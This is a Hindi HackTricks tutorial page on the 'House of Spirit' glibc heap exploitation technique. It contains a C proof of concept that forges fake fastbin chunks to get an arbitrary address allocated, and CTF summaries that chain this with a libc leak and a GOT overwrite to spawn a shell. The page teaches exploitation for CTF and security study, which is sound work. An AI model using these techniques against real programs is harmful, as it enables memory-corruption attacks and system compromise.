# House of Spirit {% hint style="success" %} सीखें और प्रैक्टिस करें AWS हैकिंग: [**HackTricks प्रशिक्षण AWS रेड टीम एक्सपर्ट (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ सीखें और प्रैक्टिस करें GCP हैकिंग: [**HackTricks प्रशिक्षण GCP रेड टीम एक्सपर्ट (GRTE)**](https://training.hacktricks.xyz/courses/grte)
हैकट्रिक्स का समर्थन करें * [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जाँच करें! * **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 पर **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में PR जमा करके।
{% endhint %} ## मूल जानकारी ### कोड
स्पिरिट का घर ```c #include #include #include #include // Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit struct fast_chunk { size_t prev_size; size_t size; struct fast_chunk *fd; struct fast_chunk *bk; char buf[0x20]; // chunk falls in fastbin size range }; int main() { struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory void *ptr, *victim; ptr = malloc(0x30); printf("Original alloc address: %p\n", ptr); printf("Main fake chunk:%p\n", &fake_chunks[0]); printf("Second fake chunk for size: %p\n", &fake_chunks[1]); // Passes size check of "free(): invalid size" fake_chunks[0].size = sizeof(struct fast_chunk); // Passes "free(): invalid next size (fast)" fake_chunks[1].size = sizeof(struct fast_chunk); // Attacker overwrites a pointer that is about to be 'freed' // Point to .fd as it's the start of the content of the chunk ptr = (void *)&fake_chunks[0].fd; free(ptr); victim = malloc(0x30); printf("Victim: %p\n", victim); return 0; } ```
### लक्ष्य * एक पता जोड़ने में सक्षम होना ताकि बाद में इसे आवंटित किया जा सके ### आवश्यकताएं * यह हमला एक हमलावर को दो नकली त्वरित टुकड़ों को बना सकने की आवश्यकता है जो सही रूप से उसके आकार मान को सूचित करते हैं और फिर पहली नकली टुकड़ी को मुक्त करने की क्षमता होनी चाहिए ताकि यह बिन में पहुंच जाए। ### हमला * सुरक्षा जांचों को छलने वाली नकली टुकड़ी बनाएं: आपको मुख्य रूप से सही स्थानों पर सही आकार दिखाने वाली 2 नकली टुकड़ीयां बनाने की आवश्यकता है * किसी तरह से पहली नकली टुकड़ी को मुक्त करने की प्रबंधन करें ताकि यह त्वरित या टीकैश बिन में पहुंच जाए और फिर इसे उस पते को अधिलेखित करने के लिए आवंटित किया जा सके **कोड** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house\_of\_spirit/house\_spirit\_exp/index.html) **से बहुत अच्छा है हमले को समझने के लिए।** हालांकि कोड से यह छायांक इसे अच्छी तरह से सारांशित करता है: ```c /* this will be the structure of our two fake chunks: assuming that you compiled it for x64 +-------+---------------------+------+ | 0x00: | Chunk # 0 prev size | 0x00 | +-------+---------------------+------+ | 0x08: | Chunk # 0 size | 0x60 | +-------+---------------------+------+ | 0x10: | Chunk # 0 content | 0x00 | +-------+---------------------+------+ | 0x60: | Chunk # 1 prev size | 0x00 | +-------+---------------------+------+ | 0x68: | Chunk # 1 size | 0x40 | +-------+---------------------+------+ | 0x70: | Chunk # 1 content | 0x00 | +-------+---------------------+------+ for what we are doing the prev size values don't matter too much the important thing is the size values of the heap headers for our fake chunks */ ``` {% hint style="info" %} ध्यान दें कि कुछ सेन्टी चेक्स को बाईपास करने के लिए दूसरे चंक को बनाना आवश्यक है। {% endhint %} ## उदाहरण * **CTF** [**https://guyinatuxedo.github.io/39-house\_of\_spirit/hacklu14\_oreo/index.html**](https://guyinatuxedo.github.io/39-house\_of\_spirit/hacklu14\_oreo/index.html) * **Libc infoleak**: एक ओवरफ्लो के माध्यम से एक पॉइंटर को बदलकर एक GOT पता करने के लिए एक libc पता लीक करना संभव है CTF के पठन के माध्यम से * **House of Spirit**: "राइफल" की संख्या को गिनने वाले एक काउंटर का दुरुपयोग करके पहले नकली चंक का एक नकली आकार उत्पन्न करना संभव है, फिर "संदेश" का दुरुपयोग करके एक चंक के दूसरे आकार को नकली करना संभव है और अंततः एक ओवरफ्लो का दुरुपयोग करके एक पॉइंटर को बदलना संभव है जो मुक्त किया जाएगा ताकि हमारा पहला नकली चंक मुक्त हो जाए। फिर, हम इसे आवंटित कर सकते हैं और इसके अंदर "संदेश" को कहां स्टोर किया गया है, वहां होगा। फिर, इसे `scanf` प्रविष्टि के अंदर इंट्री के लिए इसे इंट्री करने के लिए संभव है, ताकि हम इसे सिस्टम के पते के साथ अधिरोपित कर सकें।\ अगली बार `scanf` को कॉल किया जाता है, हम `"/bin/sh"` इनपुट भेज सकते हैं और एक शैल मिल सकता है। * [**Gloater. HTB Cyber Apocalypse CTF 2024**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/gloater/) * **Glibc leak**: अअनितीकृत स्टैक बफर। * **House of Spirit**: हम हीप पॉइंटर्स के एक ग्लोबल एरे के पहले इंडेक्स को संशोधित कर सकते हैं। एक एकल बाइट संशोधन के साथ, हम एक वैध चंक के अंदर एक नकली चंक पर `मुक्ति` का उपयोग करते हैं, ताकि हम फिर से आवंटित करने के बाद एक ओवरलैपिंग चंक्स स्थिति प्राप्त करें। उसके साथ, एक सरल Tcache poisoning हमला काम करता है एक अर्बिट्रे राइट प्राइमिटिव प्राप्त करने के लिए। ## संदर्भ * [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit) {% hint style="success" %} AWS हैकिंग सीखें और अभ्यास करें:[**HackTricks प्रशिक्षण AWS रेड टीम एक्सपर्ट (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ GCP हैकिंग सीखें और अभ्यास करें: [**HackTricks प्रशिक्षण GCP रेड टीम एक्सपर्ट (GRTE)**](https://training.hacktricks.xyz/courses/grte)
हैकट्रिक्स का समर्थन करें * [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें! * **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर **फॉलो** करें।** * **हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में PR जमा करके।
{% endhint %}